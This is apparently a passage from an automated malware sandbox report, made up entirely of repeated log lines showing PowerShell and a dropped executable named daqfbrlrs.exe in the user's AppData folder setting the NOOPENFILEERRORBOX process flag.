                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
